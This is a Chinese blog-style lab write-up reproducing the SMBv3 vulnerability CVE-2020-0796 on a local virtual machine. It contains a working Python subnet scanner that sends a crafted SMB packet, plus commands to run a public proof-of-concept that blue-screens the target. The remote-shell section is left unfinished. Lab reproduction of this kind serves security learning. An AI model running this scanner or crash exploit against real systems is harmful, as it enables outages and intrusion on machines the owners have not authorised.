CVE-2020-0796漏洞(我把它叫做永恆之黑)
3月10日:微軟釋出安全通告ADV200005,稱SMBv3協議在處理某些請求的方式中存在程式碼執行漏洞,並提供了緩解措施。
3月11日:國外某廠商針對該漏洞釋出安全防護規則更新。
3月11日:綠盟科技釋出微軟SMBv3協議遠端程式碼執行漏洞(CVE-2020-0796)通告。
3月12日:微軟正式釋出CVE-2020-0796安全通告和漏洞修復補丁。
受影響的版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
首先我們先搭建具有漏洞的虛擬機器環境(記得關掉防火牆,被這個坑慘了):ip:192.168.159.130
並搭建配置一臺kali用來完成後面的利用拿shell:ip:192.168.159.129
漏洞發現
開始復現,首先我們利用python檢測指令碼對安裝好的虛擬機器進行檢測,看看是否具有永恆之黑漏洞。
這裡奉上萬能的github上大佬的指令碼QAQ
也可以使用nmap檢測指令碼(nmap賽高)
import socket
import struct
import sys
from netaddr import IPNetwork
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
subnet = sys.argv[1]
for ip in IPNetwork(subnet):
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
try:
sock.connect(( str(ip), 445 ))
except:
sock.close()
continue
sock.send(pkt)
nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)
if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")
else:
print(f"{ip} Vulnerable")
看下虛擬機器能否互通:
ok,準備就緒就直接開始執行指令碼檢測就行了(要用python3,不然會報錯)
python3 scanner.py 192.168.159.130
顯示Vulnerable則表示含有漏洞,否則顯示NOT Vulnerable
藍屏攻擊(嘿嘿,終於可以開始了)
首先,去github找大佬的poc(github,永遠滴神)
安裝好依賴
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install
利用python指令碼進行藍屏攻擊測試(python老勞模了):
python3 gistfile1.py 192.168.159.130
換了好幾個poc,還是這個進行溢位攻擊好用
拿shell
嘿嘿嘿,經過藍屏攻擊驗證後我們就可以開始進一步利用漏洞構造payload進行任意程式碼執行的操作(後面填坑)
本作品採用《CC 協議》,轉載必須註明作者和本文連結